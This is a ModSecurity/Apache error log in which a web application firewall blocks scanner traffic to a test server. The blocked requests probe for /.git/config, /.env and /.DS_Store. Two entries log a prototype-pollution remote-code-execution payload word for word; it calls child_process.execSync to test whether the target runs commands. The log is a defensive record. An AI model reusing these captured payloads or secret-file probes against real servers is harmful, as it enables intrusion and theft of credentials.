[unique_id &quot;aUree4m6XiQBwYFycp47QQAAAAk&quot;]
[Tue Dec 23 23:15:32.666208 2025] [:error] [pid 932702] [client 62.60.131.162:62481] [client 62.60.131.162] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aUsUhHBRr9nu5WpwlL24bAAAAAs&quot;]
[Tue Dec 23 23:15:32.666524 2025] [:error] [pid 932702] [client 62.60.131.162:62481] [client 62.60.131.162] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aUsUhHBRr9nu5WpwlL24bAAAAAs&quot;]
[Tue Dec 23 23:15:32.666716 2025] [:error] [pid 932702] [client 62.60.131.162:62481] [client 62.60.131.162] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aUsUhHBRr9nu5WpwlL24bAAAAAs&quot;]
[Thu Dec 25 09:31:00.476624 2025] [:error] [pid 964249] [client 204.76.203.25:44592] [client 204.76.203.25] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aUz2RNt8xMcTBghmXKuTrgAAABM&quot;]
[Thu Dec 25 09:31:00.477596 2025] [:error] [pid 964249] [client 204.76.203.25:44592] [client 204.76.203.25] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aUz2RNt8xMcTBghmXKuTrgAAABM&quot;]
[Thu Dec 25 09:31:00.477766 2025] [:error] [pid 964249] [client 204.76.203.25:44592] [client 204.76.203.25] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aUz2RNt8xMcTBghmXKuTrgAAABM&quot;]
[Fri Dec 26 02:58:03.744102 2025] [:error] [pid 984715] [client 172.105.62.48:33508] [client 172.105.62.48] ModSecurity: Warning. Pattern match &quot;(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[&lt;&gt;]\\\\(.*\\\\))&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;372&quot;] [id &quot;932130&quot;] [msg &quot;Remote Command Execution: Unix Shell Expression Found&quot;] [data &quot;Matched Data: $((41*271))) found within ARGS:0: {then:$1:__proto__:then status:resolved_model reason:-1 value:{then:$b1337} _response:{_prefix:var res=process.mainmodule.require(child_process).execsync(echo $((41*271))).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks:$q2 _formdata:{get:$1:constructor:constructor}}}&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-shell&quot;] [tag &quot;platform-unix&quot;] [tag &quot;attack-rce&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION&quot;] [tag &quot;WASCTC/WASC-31&quot;] [tag &quot;OWASP_TOP_10/A1&quot;] [tag &quot;PCI/6.5.2&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aU3rq07u5gBATLyyT4NxUAAAAAY&quot;]
[Fri Dec 26 02:58:03.745347 2025] [:error] [pid 984715] [client 172.105.62.48:33508] [client 172.105.62.48] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aU3rq07u5gBATLyyT4NxUAAAAAY&quot;]
[Fri Dec 26 02:58:03.745511 2025] [:error] [pid 984715] [client 172.105.62.48:33508] [client 172.105.62.48] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aU3rq07u5gBATLyyT4NxUAAAAAY&quot;]
[Fri Dec 26 15:18:42.488162 2025] [authz_core:error] [pid 998207] [client 209.38.248.17:55568] AH01630: client denied by server configuration: /var/www/pms.test.indaco.store/www/server-status
[Fri Dec 26 15:18:45.492813 2025] [:error] [pid 998209] [client 209.38.248.17:55582] [client 209.38.248.17] ModSecurity: Warning. Matched phrase &quot;/.DS_Store&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;aU6ZRbzUuCBRvCahGZO39AAAAAI&quot;]
[Fri Dec 26 15:18:45.493047 2025] [:error] [pid 998209] [client 209.38.248.17:55582] [client 209.38.248.17] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;aU6ZRbzUuCBRvCahGZO39AAAAAI&quot;]
[Fri Dec 26 15:18:45.493218 2025] [:error] [pid 998209] [client 209.38.248.17:55582] [client 209.38.248.17] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;aU6ZRbzUuCBRvCahGZO39AAAAAI&quot;]
[Fri Dec 26 15:18:46.490137 2025] [:error] [pid 998211] [client 209.38.248.17:55584] [client 209.38.248.17] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aU6ZRqhZ-FZl20CNLJMtLgAAAAQ&quot;]
[Fri Dec 26 15:18:46.490391 2025] [:error] [pid 998211] [client 209.38.248.17:55584] [client 209.38.248.17] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aU6ZRqhZ-FZl20CNLJMtLgAAAAQ&quot;]
[Fri Dec 26 15:18:46.490562 2025] [:error] [pid 998211] [client 209.38.248.17:55584] [client 209.38.248.17] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aU6ZRqhZ-FZl20CNLJMtLgAAAAQ&quot;]
[Fri Dec 26 15:18:48.490814 2025] [:error] [pid 998210] [client 209.38.248.17:55598] [client 209.38.248.17] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aU6ZSGBxed86ikk5jOw0vgAAAAM&quot;]
[Fri Dec 26 15:18:48.491077 2025] [:error] [pid 998210] [client 209.38.248.17:55598] [client 209.38.248.17] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aU6ZSGBxed86ikk5jOw0vgAAAAM&quot;]
[Fri Dec 26 15:18:48.491240 2025] [:error] [pid 998210] [client 209.38.248.17:55598] [client 209.38.248.17] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aU6ZSGBxed86ikk5jOw0vgAAAAM&quot;]
[Sat Dec 27 03:03:39.220226 2025] [:error] [pid 1008726] [client 98.92.11.99:33060] [client 98.92.11.99] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aU8-e1T2D-2ZJqXsR5Kc9wAAAAU&quot;]
[Sat Dec 27 03:03:39.220634 2025] [:error] [pid 1008726] [client 98.92.11.99:33060] [client 98.92.11.99] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aU8-e1T2D-2ZJqXsR5Kc9wAAAAU&quot;]
[Sat Dec 27 03:03:39.220910 2025] [:error] [pid 1008726] [client 98.92.11.99:33060] [client 98.92.11.99] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aU8-e1T2D-2ZJqXsR5Kc9wAAAAU&quot;]
[Sat Dec 27 04:40:41.550968 2025] [:error] [pid 1008712] [client 45.82.13.170:44958] [client 45.82.13.170] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aU9VOcQcNJJGAQ8H5gUKkwAAAAM&quot;]
[Sat Dec 27 04:40:41.551222 2025] [:error] [pid 1008712] [client 45.82.13.170:44958] [client 45.82.13.170] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aU9VOcQcNJJGAQ8H5gUKkwAAAAM&quot;]
[Sat Dec 27 04:40:41.551372 2025] [:error] [pid 1008712] [client 45.82.13.170:44958] [client 45.82.13.170] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aU9VOcQcNJJGAQ8H5gUKkwAAAAM&quot;]
[Sat Dec 27 05:17:36.218023 2025] [:error] [pid 1008712] [client 18.206.140.193:34848] [client 18.206.140.193] ModSecurity: Warning. Pattern match &quot;(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[&lt;&gt;]\\\\(.*\\\\))&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;372&quot;] [id &quot;932130&quot;] [msg &quot;Remote Command Execution: Unix Shell Expression Found&quot;] [data &quot;Matched Data: ${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}} found within ARGS:0: {then: $1:__proto__:then status: resolved_model reason: -1 value: {then:$b1337} _response: {_prefix: var res=process.mainmodule.require(child_process).execsync(echo vuln_test_123456 | base64 -w 0).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}}&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-shell&quot;] [tag &quot;platform-unix&quot;] [tag &quot;attack-rce&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION&quot;] [tag &quot;WASCTC/WASC-31&quot;] [tag &quot;OWASP_TOP_10/A1&quot;] [tag &quot;PCI/6.5.2&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps&quot;] [unique_id &quot;aU9d4MQcNJJGAQ8H5gUKmAAAAAM&quot;]
[Sat Dec 27 05:17:36.218553 2025] [:error] [pid 1008712] [client 18.206.140.193:34848] [client 18.206.140.193] ModSecurity: Warning. Pattern match &quot;(?i)[\\\\s\\\\S]((?:x(?:link:href|html|mlns)|!ENTITY.*?(?:SYSTEM|PUBLIC)|data:text\\\\/html|formaction|\\\\@import|base64)\\\\b|pattern\\\\b.*?=)&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf&quot;] [line &quot;149&quot;] [id &quot;941130&quot;] [msg &quot;XSS Filter - Category 3: Attribute Vector&quot;] [data &quot;Matched Data:  base64 found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x22then\\x22:\\x22$B1337\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require(&#039;child_process&#039;).execSync(&#039;echo VULN_TEST_123456 | base64 -w 0&#039;).toString().trim();;throw Object.assign(new Error(&#039;NEXT_REDIRECT&#039;),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, \\x22_formData\\...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-xss&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/W [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps&quot;] [unique_id &quot;aU9d4MQcNJJGAQ8H5gUKmAAAAAM&quot;]
[Sat Dec 27 05:17:36.219462 2025] [:error] [pid 1008712] [client 18.206.140.193:34848] [client 18.206.140.193] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps&quot;] [unique_id &quot;aU9d4MQcNJJGAQ8H5gUKmAAAAAM&quot;]
[Sat Dec 27 05:17:36.219639 2025] [:error] [pid 1008712] [client 18.206.140.193:34848] [client 18.206.140.193] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=5,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps&quot;] [unique_id &quot;aU9d4MQcNJJGAQ8H5gUKmAAAAAM&quot;]
[Sat Dec 27 07:52:58.487564 2025] [:error] [pid 1010143] [client 195.178.110.132:57692] [client 195.178.110.132] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aU-CSpAFgV2_TuLdp9ii9AAAAAs&quot;]
[Sat Dec 27 07:52:58.487777 2025] [:error] [pid 1010143] [client 195.178.110.132:57692] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aU-CSpAFgV2_TuLdp9ii9AAAAAs&quot;]
[Sat Dec 27 07:52:58.487948 2025] [:error] [pid 1010143] [client 195.178.110.132:57692] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aU-CSpAFgV2_TuLdp9ii9AAAAAs&quot;]
